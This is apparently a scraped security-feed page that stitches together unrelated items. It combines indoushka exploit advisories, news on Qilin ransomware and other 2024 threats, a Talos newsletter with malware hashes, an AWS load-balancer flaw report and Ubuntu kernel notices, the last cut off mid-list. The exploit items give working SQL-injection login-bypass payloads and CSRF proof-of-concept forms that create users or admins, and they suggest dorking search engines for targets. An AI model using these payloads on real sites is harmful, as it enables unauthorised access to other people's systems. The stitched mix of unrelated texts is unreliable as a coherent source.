Biobook Social Networking Site version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : biobook Social Networking Site 1.0 Auth By Pass Vulnerability                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/janobe/Social%20Networking%20Site%20in%20PHP%20with%20Full%20Source%20Code.zip                                       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user = 'or''='@gmail.com & pass = 'or''='[+] http://127.0.0.1/social/home.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Biobook Social Networking Site 1.0 SQL Injection

The threat actors behind a recently observed Qilin ransomware attack have stolen credentials stored in Google Chrome browsers on a small set of compromised endpoints.
The use of credential harvesting in connection with a ransomware infection marks an unusual twist, and one that could have cascading consequences, cybersecurity firm Sophos said in a Thursday report.
The attack, detected in July

The threat actors behind a recently observed Qilin ransomware attack have stolen credentials stored in Google Chrome browsers on a small set of compromised endpoints.

The use of credential harvesting in connection with a ransomware infection marks an unusual twist, and one that could have cascading consequences, cybersecurity firm Sophos said in a Thursday report.

The attack, detected in July 2024, involved infiltrating the target network via compromised credentials for a VPN portal that lacked multi-factor authentication (MFA), with the threat actors conducting post-exploitation actions 18 days after initial access took place.

"Once the attacker reached the domain controller in question, they edited the default domain policy to introduce a logon-based Group Policy Object (GPO) containing two items," researchers Lee Kirkpatrick, Paul Jacobs, Harshal Gosalia, and Robert Weiland said.

The first of them is a PowerShell script named "IPScanner.ps1" that's designed to harvest credential data stored within the Chrome browser. The second item is a batch script ("logon.bat") contacting commands to execute the first script.

"The attacker left this GPO active on the network for over three days," the researchers added.

"This provided ample opportunity for users to log on to their devices and, unbeknownst to them, trigger the credential-harvesting script on their systems. Again, since this was all done using a logon GPO, each user would experience this credential-scarfing each time they logged in."

The attackers then exfiltrated the stolen credentials and took steps to erase evidence of the activity before encrypting the files and dropping the ransom note in every directory on the system.

The theft of credentials stored in the Chrome browser means that affected users are now required to change their username-password combinations for every third-party site.

"Predictably, ransomware groups continue to change tactics and expand their repertoire of techniques," the researchers said.

"If they, or other attackers, have decided to also mine for endpoint-stored credentials – which could provide a foot in the door at a subsequent target, or troves of information about high-value targets to be exploited by other means – a dark new chapter may have opened in the ongoing story of cybercrime."

**Ever-evolving Trends in Ransomware**

The development comes as ransomware groups like Mad Liberator and Mimic have been observed using unsolicited AnyDesk requests for data exfiltration and leveraging internet-exposed Microsoft SQL servers for initial access, respectively.

The Mad Liberator attacks are further characterized by the threat actors abusing the access to transfer and launch a binary called "Microsoft Windows Update" that displays a bogus Windows Update splash screen to the victim to give the impression that software updates are being installed while the data is being plundered.

The abuse of legitimate remote desktop tools, as opposed to custom-made malware, offers attackers the perfect disguise to camouflage their malicious activities in plain sight, allowing them to blend in with normal network traffic and evade detection.

Ransomware continues to be a profitable venture for cybercriminals despite a series of law enforcement actions, with 2024 set to be the highest-grossing year yet. The year also saw the largest ransomware payment ever recorded at approximately $75 million to the Dark Angels ransomware group.

"The median ransom payment to the most severe ransomware strains has spiked from just under $200,000 in early 2023 to $1.5 million in mid-June 2024, suggesting that these strains are prioritizing targeting larger businesses and critical infrastructure providers that may be more likely to pay high ransoms due to their deep pockets and systemic importance," blockchain analytics firm Chainalysis said.

Ransomware victims are estimated to have paid $459.8 million to cybercriminals in the first half of the year, up from $449.1 million year-over-year. However, total ransomware payment events as measured on-chain have declined YoY by 27.29%, indicating a drop in payment rates.

What's more, Russian-speaking threat groups accounted for at least 69% of all cryptocurrency proceeds linked to ransomware throughout the previous year, exceeding $500 million.

According to data shared by NCC Group, the number of ransomware attacks observed in July 2024 jumped month-on-month from 331 to 395, but down from 502 registered last year. The most active ransomware families were RansomHub, LockBit, and Akira. The sectors that were most frequently targeted include industrials, consumer cyclicals, and hotels and entertainment.

Industrial organizations are a lucrative target for ransomware groups due to the mission-critical nature of their operations and the high impact of disruptions, thus increasing the likelihood that victims could pay the ransom amount demanded by attackers.

"Criminals focus where they can cause the most pain and disruption so the public will demand quick resolutions, and they hope, ransom payments to restore services more quickly," said Chester Wisniewski, global field chief technology officer at Sophos.

"This makes utilities prime targets for ransomware attacks. Because of the essential functions they provide, modern society demands they recover quickly and with minimal disruption."

Ransomware attacks targeting the sector have nearly doubled in Q2 2024 compared to Q1, from 169 to 312 incidents, per Dragos. A majority of the attacks singled out North America (187), followed by Europe (82), Asia (29), and South America (6).

"Ransomware actors are strategically timing their attacks to coincide with peak holiday periods in some regions to maximize disruption and pressure organizations into payment," NCC Group said.

Malwarebytes, in its own 2024 State of Ransomware report, highlighted three trends in ransomware tactics over the past year, including a spike in attacks during weekends and early morning hours between 1 a.m. and 5 a.m., and a reduction in the time from initial access to encryption.

Another noticeable shift is the increased edge service exploitation and targeting of small and medium-sized businesses, WithSecure said, adding the dismantling of LockBit and ALPHV (aka BlackCat) has led to an erosion of trust within the cybercriminal community, causing affiliates to move away from major brands.

Indeed, Coveware said over 10% of the incidents handled by the company in Q2 2024 were unaffiliated, meaning they were "attributed to attackers that were deliberately operating independently of a specific brand and what we typically term 'lone wolves.'"

"Continued takedowns of cybercriminal forums and marketplaces shortened the lifecycle of criminal sites, as the site administrators try to avoid drawing law enforcement (LE) attention," Europol said in an assessment released last month.

"This uncertainty, combined with a surge in exit scams, have contributed to the continued fragmentation of criminal marketplaces. Recent LE operations and the leak of ransomware source codes (e.g., Conti, LockBit, and HelloKitty) have led to a fragmentation of active ransomware groups and available variants."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New Qilin Ransomware Attack Uses VPN Credentials, Steals Chrome Data

It’s not unusual for a threat actor to exaggerate the extent of a hack or breach to drum up interest, and hopefully, the eventual purchase or ransom price.

Thursday, August 22, 2024 14:00

My current least favorite thing about the churn of social media that I’ve seen over the past week is waves of stories, posts and videos saying that every U.S. citizen’s Social Security number has been stolen or potentially viewed by a threat actor. 

The claim comes from a class action lawsuit filed on Aug. 1 against a data broker called National Public Data, claiming they failed to keep U.S. citizens’ Social Security numbers secure. A threat actor going by USDoD claimed in April that it had accessed a database that included information on every person in the U.S., Canada and the U.K.  

The lawsuit states that a breach at National Public Data resulted in the exposure of more than 3 billion personal records (a number that obviously surpasses the current population of the U.S.), including every Social Security number. That sounds scary, and many people took the statement as fact, running to create warnings that your Social Security number had definitely been breached and you needed to “TAKE ACTION NOW!” 

Except, the claim in the lawsuit is still unsubstantiated. This is not to say there was never a breach or that \*some\* public records weren’t stolen or accessed, but almost certainly not literally every single Social Security number. 

For starters, I used a tool from security firm Pentester that allows users to search for if their Social Security number, birthday, or other sensitive information may be in the NPD Breach. I searched for everyone in my immediate family, parents, and stepparents, and nothing turned up. I suppose it’s possible that for some reason just my family was exempted from the breach, but that seems unlikely. 

Reporters at TechCrunch have also viewed the allegedly stolen data, and determined much of the information was incomplete or incorrect, though some of it was legitimate. 

It’s not unusual for a threat actor to exaggerate the extent of a hack or breach to drum up interest, and hopefully, the eventual purchase or ransom price. Which is why I’m disappointed that so many people took off and ran with the claim that every American was affected by this breach. 

There are always steps we can be taking to better protect our personal information, so I don’t want to make it seem like we’re all totally safe and to just go about your business as usual. And if you do use the linked tool above and find that your information may be affected by the NPD breach, it could be a good idea to freeze your credit or keep a close eye on your bank account(s).  

But all the LinkedIn posts and viral videos claiming that every American’s had their Social Security number stolen only leads to more FUD. And it plays right into attackers’ hands: By spreading that FUD, it makes users more likely to fall for other scams that are trying to capitalize on the breach by sending phony scams around identity protection or offering new information on the allegedly stolen data.  

**The one big thing **

Cisco Talos has uncovered a new remote access trojan (RAT) family we are calling “MoonPeak.” This a XenoRAT-based malware, which is under active development by a North Korean nexus cluster we are calling “UAT-5394.” Our analysis of infrastructure used in the campaign reveals additional links to the UAT-5394 infrastructure and new tactics, techniques and procedures (TTPs) of the threat actor. This cluster of activity has some overlaps in TTPs and infrastructure patterns with the North Korean state-sponsored group “Kimsuky,” however, we do not have substantial technical evidence to link this campaign with the APT. 

**Why do I care? **

Either UAT-5394 is actually Kimsuky (or a sub-group within Kimsuky) and they are replacing QuasarRAT with MoonPeak. (We have observed UAT-5394 actively setting up and operating QuasarRAT C2 servers before they eventually adopted the use of XenoRAT and MoonPeak.) Or UAT-5394 is another group within the North Korean APT machinery that borrows their TTPs and infrastructure patterns from Kimsuky. Any actor potentially associated with North Korea is worth watching, as these groups are constantly trying to steal money, intellectual property or data on behalf of the state. So, any new developments in how state-sponsored actors work together is relevant to defenders and users alike. 

**So now what? **

Talos released a new Snort rule set that detects the new malware disclosed this week. The timelines of the consistent adoption of new malware and its evolution such as in the case of MoonPeak highlights that UAT-5394 continues to add and enhance more tooling into their arsenal. And the rapid pace of establishing new supporting infrastructure by UAT-5394 indicates that the group is aiming to rapidly proliferate this campaign and set up more drop points and C2 servers, so this is activity we’ll be continuing to monitor and update readers on. 

**Top security headlines of the week **

**A North Korean state-sponsored actor recently exploited a zero-day vulnerability that Microsoft patched earlier this month.** Security researchers say that actors connected to the Lazarus Group, the most prolific and well-known North Korean APT, actively exploited CVE-2024-38193. This is a use-after-free issue in AFD.sys, a binary file in what's essentially the kernel entry point for the Winsock API. The actors then installed the FudModule malware, which was first discovered in 2022. FudModule is more stealthy than other malware, finding additional and new ways to hide from detection. Microsoft disclosed and patched CVE-2024-38193 earlier this month as part of its regular Patch Tuesday update cycle. At the time, it was listed as a zero-day, meaning adversaries had exploited the issue in the wild before a patch was available. This was one of the six zero-days included in Microsoft Patch Tuesday this month. An attacker who exploits the vulnerability could obtain nearly full access to Windows and usually run untrusted code. (Ars Technica, PC World) 

**The FBI and other U.S. federal agencies publicly stated that Iran is behind recent cyber attacks targeting both major U.S. presidential campaigns.** A public statement warned that state-sponsored actors from Iran were trying to “stoke discord and undermine confidence in our democratic institutions.” Threat actors successfully breached an email account belonging to a staffer on former U.S. President Donald Trump’s campaign and leaked that information, though many major news outlets declined to publish any reports on the information because of the way in which it was obtained. “The \[intelligence community\] is confident that the Iranians have through social engineering and other efforts sought access to individuals with direct access to the Presidential campaigns of both political parties,” U.S. intelligence officials said in the statement. The presidential campaigns from the Democratic and Republican parties both said they received spear-phishing emails seemingly connected to the efforts. (Associated Press, BBC) 

**Nearly all Google Pixel devices since 2017 have been vulnerable to an exploit that exists in an otherwise dormant app.** Security researchers disclosed the vulnerability last week in Showcase.apk, a software package that exists on all Pixel phones and can be used to turn the devices into store demos for Verizon. Though details on the exact type of vulnerability are still unclear, a report from iVerify stated that the way the software operates fundamentally changes the way the Android operating system works, leaving Pixel devices susceptible to man-in-the-middle attacks or the installation of spyware. Google has since removed the software package from all devices, as it is no longer in use. A Google representative told Recorded Future that it had not seen any information indicating the software had been exploited, and that the hypothetical exploit requires the attacker to have physical access to the device and knowing the user’s device passcode. The app is not present on the Pixel 9, the newest line of phones Google unveiled this week. (Wired, The Record) 

**Can’t get enough Talos? **

*   How multiple vulnerabilities in Microsoft apps for macOS pave the way to stealing permissions 
*   Talos Takes Ep. #194: A 1-on-1 with Talos VP Matt Watchinski 
*   MoonPeak malware from North Korean actors unveils new details on attacker infrastructure 
*   Bug Leaves Microsoft Apps for MacOS Open to Silent Takeovers 
*   Multiple flaws in Microsoft macOS apps unpatched despite potential risks 
*   Multiple Microsoft Apps for macOS Vulnerable to Library Injection Attacks 

**Upcoming events where you can find Talos **

**_BSides Krakow_** **_(Sept. 14)_**  

_Krakow, Poland_ 

**_LABScon_** **_(Sept. 18 - 21)_** 

_Scottsdale, Arizona_

**_VB2024_** **_(Oct. 2 - 4)_**

_Dublin, Ireland_

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 70ff63cd695033f624a456a5c8511ce8312cffd8ac40492ffe5dc7ae18548668  
**MD5:** 49d35332a1c6fefae1d31a581a66ab46  
**Typical Filename:** 49d35332a1c6fefae1d31a581a66ab46.virus  
**Claimed Product:** N/A  
**Detection Name:** W32.Auto:70ff63.in03.Talos

**SHA 256:** db697b450d015ee948bb50d895acca3e27058b6d546d93212791b9f5ff31c0a3  
**MD5:** 391b3770ab60f9e535fbf3db70c89b04  
**Typical Filename:** vt-upload-o0OJb  
**Claimed Product:** N/A  
**Detection Name:** W32.Auto.db697b.181952.in01

**SHA 256:** a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0  
**MD5:** b4440eea7367c3fb04a89225df4022a6  
**Typical Filename:** Pdfixers.exe  
**Claimed Product:** Pdfixers  
**Detection Name:** W32.Superfluss:PUPgenPUP.27gq.1201

**SHA 256:** c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0  
**MD5:** 8c69830a50fb85d8a794fa46643493b2  
**Typical Filename:** AAct.exe  
**Claimed Product:** N/A  
**Detection Name:** PUA.Win.Dropper.Generic::1201

**SHA 256:** 161937ed1502c491748d055287898dd37af96405aeff48c2500b834f6739e72d  
**MD5:** fd743b55d530e0468805de0e83758fe9  
**Typical Filename:** KMSAuto Net.exe  
**Claimed Product:** KMSAuto Net  
**Detection Name:** W32.File.MalParent

No, not every Social Security number in the U.S. was stolen

As many as 15,000 applications using Amazon Web Services' (AWS) Application Load Balancer (ALB) for authentication are potentially susceptible to a configuration-based issue that could expose them to sidestep access controls and compromise applications.
That's according to findings from Israeli cybersecurity company Miggo, which dubbed the problem ALBeast.
"This vulnerability allows attackers to

Cloud Security / Application Security

As many as 15,000 applications using Amazon Web Services' (AWS) Application Load Balancer (ALB) for authentication are potentially susceptible to a configuration-based issue that could expose them to sidestep access controls and compromise applications.

That's according to findings from Israeli cybersecurity company Miggo, which dubbed the problem **ALBeast**.

"This vulnerability allows attackers to directly access affected applications, particularly if they are exposed to the internet," security researcher Liad Eliyahu said.

ALB is an Amazon service designed to route HTTP and HTTPS traffic to target applications based on the nature of the requests. It also allows users to "offload the authentication functionality" from their apps into the ALB.

"Application Load Balancer will securely authenticate users as they access cloud applications," Amazon notes on its website.

"Application Load Balancer is seamlessly integrated with Amazon Cognito, which allows end users to authenticate through social identity providers such as Google, Facebook, and Amazon, and through enterprise identity providers such as Microsoft Active Directory via SAML or any OpenID Connect-compliant identity provider (IdP)."

The attack, at its core, involves a threat actor creating their own ALB instance with authentication configured in their account.

In the next step, the ALB is used to sign a token under their control and modify the ALB configuration by forging an authentic ALB-signed token with the identity of a victim, ultimately using it to access the target application, bypassing both authentication and authorization.

In other words, the idea is to have AWS sign the token as if it had actually originated from the victim system and use it to access the application, assuming that it's either publicly accessible or the attacker already has access to it.

Following responsible disclosure in April 2024, Amazon has updated the authentication feature documentation and added a new code to validate the signer.

"To ensure security, you must verify the signature before doing any authorization based on the claims and validate that the signer field in the JWT header contains the expected Application Load Balancer ARN," Amazon now explicitly states in its documentation.

"Also, as a security best practice we recommend you restrict your targets to only receive traffic from your Application Load Balancer. You can achieve this by configuring your targets' security group to reference the load balancer's security group ID."

The disclosure comes as Acronis revealed how a Microsoft Exchange misconfiguration could open the door to email spoofing attacks, allowing threat actors to bypass DKIM, DMARC, and SPF protections and send malicious emails masquerading as trusted entities.

"If you didn't lock down your Exchange Online organization to accept mail only from your third-party service, or if you didn't enable enhanced filtering for connectors, anyone could send an email to you through ourcompany.protection.outlook.com or ourcompany.mail.protection.outlook.com, and DMARC (SPF and DKIM) verification will be skipped," the company said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New 'ALBeast' Vulnerability Exposes Weakness in AWS Application Load Balancer

AVMS Project version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : AVMS Project 1.0 Auth By Pass Vulnerability                                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://phpgurukul.com/wp-content/uploads/2019/07/Apartment-Visitors-Management-System-Project.zip                          |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user = 'or''='@gmail.com & pass = 'or''='[+] http://127.0.0.1/AVMS/Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

AVMS Project 1.0 SQL Injection

Online Survey System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Online Survey System 1.0 CSRF Vulnerability                                                                                 |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-survey-system_0.zip                     |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This HTML page :

    is a  user registration form that allows users to input a username, password, and upload an avatar image.   
  The form data is then sent via an AJAX request to a server-side script for processing.

[+] Here's a breakdown of how it works:

    HTML Structure

    Form Elements:

          username: A text field where the user can input their username.  
        password: A password field for entering a password.  
        img: A file input for uploading an avatar image (restricted to image file types).

    Save User Button:

          An input element with the type button is used to trigger the saveUser() function when clicked.

[+] JavaScript (AJAX Request)

        AJAX Request:

          An XMLHttpRequest object (xhr) is used to send the form data to a server-side script (Users.php).  
        The request method is POST, and the data is sent to the specified URL.  
        The onload function checks if the request was successful (status code 200). If it was,  
    it alerts the user that the save was successful; otherwise, it alerts the user of an error.

[+]  Backend Requirements :

    The server-side script (Users.php) should be capable of handling the incoming POST request,   
  processing the form data (including saving the file), and returning an appropriate response.

    This form can be improved by adding additional client-side validations, better error handling,   
  and perhaps enhancing security measures, such as sanitizing inputs on the server side.

[+] save code as poc.html 

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="email">Email:</label>  
        <input type="email" id="email" name="email" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/survey/ajax.php?action=save_user", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online Survey System 1.0 Cross Site Request Forgery

Ubuntu Security Notice 6975-1 - Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

    ==========================================================================Ubuntu Security Notice USN-6975-1August 21, 2024linux, linux-aws, linux-azure, linux-gcp, linux-gke, linux-ibm,linux-lowlatency, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency,linux-oem-6.8, linux-oracle, linux-raspi vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 24.04 LTS- Ubuntu 22.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux: Linux kernel- linux-aws: Linux kernel for Amazon Web Services (AWS) systems- linux-azure: Linux kernel for Microsoft Azure Cloud systems- linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems- linux-gke: Linux kernel for Google Container Engine (GKE) systems- linux-ibm: Linux kernel for IBM cloud systems- linux-lowlatency: Linux low latency kernel- linux-nvidia: Linux kernel for NVIDIA systems- linux-nvidia-lowlatency: Linux low latency kernel for NVIDIA systems- linux-oem-6.8: Linux kernel for OEM systems- linux-oracle: Linux kernel for Oracle Cloud systems- linux-raspi: Linux kernel for Raspberry Pi systems- linux-nvidia-6.8: Linux kernel for NVIDIA systemsDetails:Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:   - User-Mode Linux (UML);   - MMC subsystem;(CVE-2024-39292, CVE-2024-39484)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 24.04 LTS   linux-image-6.8.0-1009-gke      6.8.0-1009.12   linux-image-6.8.0-1010-raspi    6.8.0-1010.11   linux-image-6.8.0-1011-ibm      6.8.0-1011.11   linux-image-6.8.0-1011-oem      6.8.0-1011.11   linux-image-6.8.0-1011-oracle   6.8.0-1011.11   linux-image-6.8.0-1011-oracle-64k  6.8.0-1011.11   linux-image-6.8.0-1012-nvidia   6.8.0-1012.12   linux-image-6.8.0-1012-nvidia-64k  6.8.0-1012.12   linux-image-6.8.0-1012-nvidia-lowlatency  6.8.0-1012.12.1   linux-image-6.8.0-1012-nvidia-lowlatency-64k  6.8.0-1012.12.1   linux-image-6.8.0-1013-azure    6.8.0-1013.15   linux-image-6.8.0-1013-azure-fde  6.8.0-1013.15   linux-image-6.8.0-1013-gcp      6.8.0-1013.14   linux-image-6.8.0-1014-aws      6.8.0-1014.15   linux-image-6.8.0-41-generic    6.8.0-41.41   linux-image-6.8.0-41-generic-64k  6.8.0-41.41   linux-image-6.8.0-41-lowlatency  6.8.0-41.41.1   linux-image-6.8.0-41-lowlatency-64k  6.8.0-41.41.1   linux-image-aws                 6.8.0-1014.15   linux-image-azure               6.8.0-1013.15   linux-image-azure-fde           6.8.0-1013.15   linux-image-gcp                 6.8.0-1013.14   linux-image-generic             6.8.0-41.41   linux-image-generic-64k         6.8.0-41.41   linux-image-generic-64k-hwe-24.04  6.8.0-41.41   linux-image-generic-hwe-24.04   6.8.0-41.41   linux-image-generic-lpae        6.8.0-41.41   linux-image-gke                 6.8.0-1009.12   linux-image-ibm                 6.8.0-1011.11   linux-image-ibm-classic         6.8.0-1011.11   linux-image-ibm-lts-24.04       6.8.0-1011.11   linux-image-kvm                 6.8.0-41.41   linux-image-lowlatency          6.8.0-41.41.1   linux-image-lowlatency-64k      6.8.0-41.41.1   linux-image-nvidia              6.8.0-1012.12   linux-image-nvidia-64k          6.8.0-1012.12   linux-image-nvidia-lowlatency   6.8.0-1012.12.1   linux-image-nvidia-lowlatency-64k  6.8.0-1012.12.1   linux-image-oem-24.04           6.8.0-1011.11   linux-image-oem-24.04a          6.8.0-1011.11   linux-image-oracle              6.8.0-1011.11   linux-image-oracle-64k          6.8.0-1011.11   linux-image-raspi               6.8.0-1010.11   linux-image-virtual             6.8.0-41.41   linux-image-virtual-hwe-24.04   6.8.0-41.41Ubuntu 22.04 LTS   linux-image-6.8.0-1012-nvidia   6.8.0-1012.12~22.04.1   linux-image-6.8.0-1012-nvidia-64k  6.8.0-1012.12~22.04.1   linux-image-nvidia-6.8          6.8.0-1012.12~22.04.1   linux-image-nvidia-64k-6.8      6.8.0-1012.12~22.04.1After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6975-1   CVE-2024-39292, CVE-2024-39484Package Information:   https://launchpad.net/ubuntu/+source/linux/6.8.0-41.41   https://launchpad.net/ubuntu/+source/linux-aws/6.8.0-1014.15   https://launchpad.net/ubuntu/+source/linux-azure/6.8.0-1013.15   https://launchpad.net/ubuntu/+source/linux-gcp/6.8.0-1013.14   https://launchpad.net/ubuntu/+source/linux-gke/6.8.0-1009.12   https://launchpad.net/ubuntu/+source/linux-ibm/6.8.0-1011.11   https://launchpad.net/ubuntu/+source/linux-lowlatency/6.8.0-41.41.1   https://launchpad.net/ubuntu/+source/linux-nvidia/6.8.0-1012.12   https://launchpad.net/ubuntu/+source/linux-nvidia-lowlatency/6.8.0-1012.12.1   https://launchpad.net/ubuntu/+source/linux-oem-6.8/6.8.0-1011.11   https://launchpad.net/ubuntu/+source/linux-oracle/6.8.0-1011.11   https://launchpad.net/ubuntu/+source/linux-raspi/6.8.0-1010.11   https://launchpad.net/ubuntu/+source/linux-nvidia-6.8/6.8.0-1012.12~22.04.1

Ubuntu Security Notice USN-6975-1

Online Shopping System Master version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : online shopping system master v1.0 CSRF Vulnerability                                                                       |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://download-media.code-projects.org/2020/04/Online_Shopping_IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip         |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 7.

[+] Set the target site link Save changes and apply . 

[+] infected file : /admin/adduser.php.

[+] save code as poc.html .

<div class="card">  
                <div class="card-header card-header-primary">  
                  <h4 class="card-title">Add Users</h4>  
                  <p class="card-category">Complete User profile</p>  
                </div>  
                <div class="card-body">  
                  <form action="http://127.0.0.1/online-shopping-system-master/admin/adduser.php" method="post" name="form" enctype="multipart/form-data">  
                    <div class="row">

                            </div>  
                      </div>  
                    </div>  
                    <div class="row">  
                      <div class="col-md-6">  
                        <div class="form-group bmd-form-group">  
                          <label class="bmd-label-floating">Email</label>  
                          <input type="email" name="email" id="email" class="form-control" required="">  
                        </div>  
                      </div>  
                      <div class="col-md-6">  
                        <div class="form-group bmd-form-group">  
                          <label class="bmd-label-floating">Password</label>  
                          <input type="password" id="password" name="password" class="form-control" required="">  
                        </div>  
                      </div>

                                        <button type="submit" name="btn_save" id="btn_save" class="btn btn-primary pull-right">Update User</button>  
                    <div class="clearfix"></div>  
                  </form>  
                </div>  
              </div>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online Shopping System Master 1.0 Cross Site Request Forgery

Ubuntu Security Notice 6974-1 - Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

    ==========================================================================Ubuntu Security Notice USN-6974-1August 21, 2024linux, linux-aws, linux-aws-5.15, linux-azure, linux-azure-5.15,linux-azure-fde, linux-azure-fde-5.15, linux-gcp, linux-gcp-5.15,linux-gke, linux-gkeop, linux-gkeop-5.15, linux-hwe-5.15, linux-ibm,linux-ibm-5.15, linux-intel-iotg, linux-intel-iotg-5.15, linux-kvm,linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia, linux-oracle,linux-raspi vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 22.04 LTS- Ubuntu 20.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux: Linux kernel- linux-aws: Linux kernel for Amazon Web Services (AWS) systems- linux-azure: Linux kernel for Microsoft Azure Cloud systems- linux-azure-fde: Linux kernel for Microsoft Azure CVM cloud systems- linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems- linux-gke: Linux kernel for Google Container Engine (GKE) systems- linux-gkeop: Linux kernel for Google Container Engine (GKE) systems- linux-ibm: Linux kernel for IBM cloud systems- linux-intel-iotg: Linux kernel for Intel IoT platforms- linux-kvm: Linux kernel for cloud environments- linux-lowlatency: Linux low latency kernel- linux-nvidia: Linux kernel for NVIDIA systems- linux-oracle: Linux kernel for Oracle Cloud systems- linux-raspi: Linux kernel for Raspberry Pi systems- linux-aws-5.15: Linux kernel for Amazon Web Services (AWS) systems- linux-azure-5.15: Linux kernel for Microsoft Azure cloud systems- linux-azure-fde-5.15: Linux kernel for Microsoft Azure CVM cloud systems- linux-gcp-5.15: Linux kernel for Google Cloud Platform (GCP) systems- linux-gkeop-5.15: Linux kernel for Google Container Engine (GKE) systems- linux-hwe-5.15: Linux hardware enablement (HWE) kernel- linux-ibm-5.15: Linux kernel for IBM cloud systems- linux-intel-iotg-5.15: Linux kernel for Intel IoT platforms- linux-lowlatency-hwe-5.15: Linux low latency kernelDetails:Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:   - SuperH RISC architecture;   - User-Mode Linux (UML);   - MMC subsystem;   - Network drivers;   - GFS2 file system;   - IPv4 networking;   - IPv6 networking;(CVE-2024-26921, CVE-2023-52629, CVE-2024-26680, CVE-2024-26830,CVE-2024-39484, CVE-2024-39292, CVE-2024-36901, CVE-2023-52760)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 22.04 LTS   linux-image-5.15.0-1051-gkeop   5.15.0-1051.58   linux-image-5.15.0-1061-ibm     5.15.0-1061.64   linux-image-5.15.0-1061-raspi   5.15.0-1061.64   linux-image-5.15.0-1063-intel-iotg  5.15.0-1063.69   linux-image-5.15.0-1063-nvidia  5.15.0-1063.64   linux-image-5.15.0-1063-nvidia-lowlatency  5.15.0-1063.64   linux-image-5.15.0-1065-gke     5.15.0-1065.71   linux-image-5.15.0-1065-kvm     5.15.0-1065.70   linux-image-5.15.0-1066-oracle  5.15.0-1066.72   linux-image-5.15.0-1067-gcp     5.15.0-1067.75   linux-image-5.15.0-1068-aws     5.15.0-1068.74   linux-image-5.15.0-1071-azure   5.15.0-1071.80   linux-image-5.15.0-1071-azure-fde  5.15.0-1071.80.1   linux-image-5.15.0-119-generic  5.15.0-119.129   linux-image-5.15.0-119-generic-64k  5.15.0-119.129   linux-image-5.15.0-119-generic-lpae  5.15.0-119.129   linux-image-5.15.0-119-lowlatency  5.15.0-119.129   linux-image-5.15.0-119-lowlatency-64k  5.15.0-119.129   